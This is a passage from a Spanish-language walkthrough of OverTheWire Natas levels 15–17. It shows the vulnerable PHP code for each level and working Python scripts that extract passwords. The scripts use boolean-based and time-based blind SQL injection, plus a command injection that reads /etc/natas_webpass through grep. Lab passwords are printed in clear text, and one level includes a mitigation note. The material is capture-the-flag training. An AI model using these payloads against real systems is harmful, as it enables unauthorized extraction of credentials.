  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas15', '<censored>');
    mysqli_select_db($link, 'natas15');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysqli_query($link, $query);
    if($res) {
    if(mysqli_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysqli_close($link);
}

pass_length.py

import requests
from requests.auth import HTTPBasicAuth

url = "http://natas15.natas.labs.overthewire.org/"
auth = HTTPBasicAuth("natas15", "GB6USCJYJjwLyYhZUNkE1NwDueiTow6g")

payload = {
        "username": 'natas16" AND LENGTH(password)=32 #'
}

r = requests.get(url, params=payload, auth=auth)

if "This user exists" in r.text:
    print("True")
else:
    print("False")
python3 pass_length.py 
True

sqli.py

from concurrent.futures import ThreadPoolExecutor, as_completed
from pwn import *
import requests
import string

URL = "http://natas15.natas.labs.overthewire.org/"
AUTH = ("natas15", "GB6USCJYJjwLyYhZUNkE1NwDueiTow6g")

CHARSET = string.ascii_letters + string.digits
password = ["?"] * 32

session = requests.Session()
session.auth = AUTH

p = log.progress("Password")

def find_char(pos):
    for c in CHARSET:
        payload = {
                "username": f'natas16" AND BINARY SUBSTRING(password,{pos},1)="{c}" #'
                }

        r = session.get(URL, params=payload)

        if "This user exists." in r.text:
            return pos, c

    return pos, "?"

with ThreadPoolExecutor(max_workers=10) as executor:
    futures = [executor.submit(find_char, i) for i in range(1, 33)]

    for future in as_completed(futures):
        pos, char = future.result()
        password[pos - 1] = char
        p.status("".join(password))


p.success("".join(password))
python3 sqli.py 
[+] Password: Xm6XEeRN3zsGjRDqBPmuqAVV65k7e3Gb
Password natas16

Xm6XEeRN3zsGjRDqBPmuqAVV65k7e3Gb

Vulnerabilidad

Se trata de una vulnerabilidad de Blind SQL Injection (Boolean-Based) (inyección SQL a ciegas basada en respuestas booleanas). El código sigue concatenando el input directamente sin usar parameterized queries, pero a diferencia del nivel anterior, la aplicación no refleja registros ni errores en la interfaz web; solo devuelve un estado binario (“This user exists” o “This user doesn’t exist”). Un atacante puede realizar preguntas con respuestas lógicas de sí/no e inyectar funciones como SUBSTRING() y BINARY para forzar condiciones condicionales y exfiltrar la contraseña de forma asíncrona mediante fuerza bruta posicional.

Mitigación
  • Separar completamente el código de los datos mediante consultas parametrizadas anula por completo la vulnerabilidad, haciendo imposible que el motor evalúe condiciones lógicas (AND, OR, BINARY) introducidas por el cliente.
  • Devolver mensajes genéricos para no dar pistas analíticas sobre la existencia exacta de registros específicos, mitigando parcialmente ataques de User Enumeration.

Natas Level 15 → Level 16

Natas Level 15 → Level 16

Al visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.

curl http://natas16.natas.labs.overthewire.org/ --user natas16:Xm6XEeRN3zsGjRDqBPmuqAVV65k7e3Gb
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas16", "pass": "Xm6XEeRN3zsGjRDqBPmuqAVV65k7e3Gb" };</script></head>
<body>
<h1>natas16</h1>
<div id="content">

For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
<?
ini_set('pcre.jit', 0);
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>
import requests
from requests.auth import HTTPBasicAuth
import string
from concurrent.futures import ThreadPoolExecutor, as_completed 
from pwn import log

url = "http://natas16.natas.labs.overthewire.org/"
auth = HTTPBasicAuth("natas16", "Xm6XEeRN3zsGjRDqBPmuqAVV65k7e3Gb")
chars = string.ascii_letters + string.digits

password = ""

progress = log.progress("Password")


def find_char(prefix, char):
    payload = {"needle": f"$(grep ^{prefix}{char} /etc/natas_webpass/natas17)test", "search": "Submit"}
    response = requests.get(url, params=payload, auth=auth)
    if "test" not in response.text:
        return char
    return None


with ThreadPoolExecutor(max_workers=10) as executor:
    while len(password) < 32:
        prefix = password
        futures = [executor.submit(find_char, prefix, char) for char in chars]

        for future in as_completed(futures):
            char = future.result()
            if char is not None:
                password += char
                progress.status(password)
                break


progress.success(password)

Natas Level 16 → Level 17

Natas Level 16 → Level 17

Al visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.

curl http://natas17.natas.labs.overthewire.org/ --user natas17:KLdAM3VZux8o6TbkbhuaG5KtYjI77tfx
<!DOCTYPE html>
<html lang="en">

<head>
  <link rel='shortcut icon' href='/img/favicon.ico' />
  <link rel="stylesheet" href="/css/style.css" type="text/css" media="screen" />
  <link href="https://fonts.googleapis.com/css?family=Inconsolata|Pontano+Sans|Maven+Pro&subset=latin,latin-ext" rel='stylesheet' type='text/css'>
  <link rel="stylesheet" href="/css/highlightcode.css">
  <link rel="stylesheet" href="/css/patreon.css">
  <script src="/js/jquery-3.7.1.min.js"></script>
  <script src="/js/mustache-4.0.0.min.js"></script>
  <script src="/js/highlight.min.js"></script>
  <script src="/js/otwcrap.js"></script>
  <script src="/js/updatedmarkers.js"></script>
  
  <title>OverTheWire</title>
  
</head>

<body>
  <div id="sitename"><a href="/">OverTheWire</a></div>
  <div id="siteslogan">We're hackers, and we are good-looking. We are the 1%.</div>
  <div id="topmenu">
    <ul>

<li><a class='updatedmarkercontainer selected' href="/wargames/">Wargames
<div class="updatedmarker" data-link="/wargames/"></div>
</a></li>

<li><a class='updatedmarkercontainer' href="/rules/">Rules
<div class="updatedmarker" data-link="/rules/"></div>
</a></li>

<li><a class='updatedmarkercontainer' href="/information/donate.html">Information
<div class="updatedmarker" data-link="/information/donate.html"></div>
</a></li>

    </ul>
  </div>
    
  <div id="sidemenu"></div>
  <script>renderLevelsMenu("natas");</script>
  
  <main id="content">
    
    <div id="title"></div>
    <script>renderLevelTitle("natas", 17);</script>
    

    <!--
    <div id="please-read-the-rules">Please read and accept the <a href="/rules/">Rules!</a></div>
    -->

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Username: natas17
URL:      http://natas17.natas.labs.overthewire.org
</code></pre></div></div>

  </main>

  <div id="shortcuts">
    <a href="/information/donate.html">
      <div class="button">Donate!</div>
    </a>
    <a href="/information/chat.html">
      <div class="button">Help!?</div>
    </a>
  </div>

  <!-- Google tag (gtag.js) -->
  <script async src="https://www.googletagmanager.com/gtag/js?id=G-RD0K2239G0"></script>
  <script>
    window.dataLayer = window.dataLayer || [];
    function gtag() { dataLayer.push(arguments); }
    gtag('js', new Date());

    gtag('config', 'G-RD0K2239G0');
  </script>
  <script src="/js/updatedmarkers-logic.js"></script>
  <script>
    if (localStorage.getItem("rules-accepted") === "true") {
      document.getElementById("please-read-the-rules").style.display = "none";
    }
  </script>
</body>

</html>
<?php

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas17', '<censored>');
    mysqli_select_db($link, 'natas17');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysqli_query($link, $query);
    if($res) {
    if(mysqli_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysqli_close($link);
}
?>
from requests.auth import HTTPBasicAuth
import requests
import string
import time
from pwn import log

url = "http://natas17.natas.labs.overthewire.org/"
auth = HTTPBasicAuth("natas17", "KLdAM3VZux8o6TbkbhuaG5KtYjI77tfx")
headers = {"Content-Type": "application/x-www-form-urlencoded"}

session = requests.session()

chars = string.ascii_letters + string.digits
password = []

progress = log.progress("Password")
try_char = log.progress(f"Trying char")

while len(password) < 32:
    for char in chars:
        try_char.status(char)
        payload = {"username": f'natas18" AND password LIKE BINARY "{"".join(password)}{char}%" AND SLEEP(2)#'}
        start = time.perf_counter()
        response = session.post(url, headers=headers, auth=auth, data=payload)
        end = time.perf_counter()
        elapsed = end - start
        if elapsed > 2:
            password.append(char)
            progress.status("".join(password))
            break


progress.success("".join(password))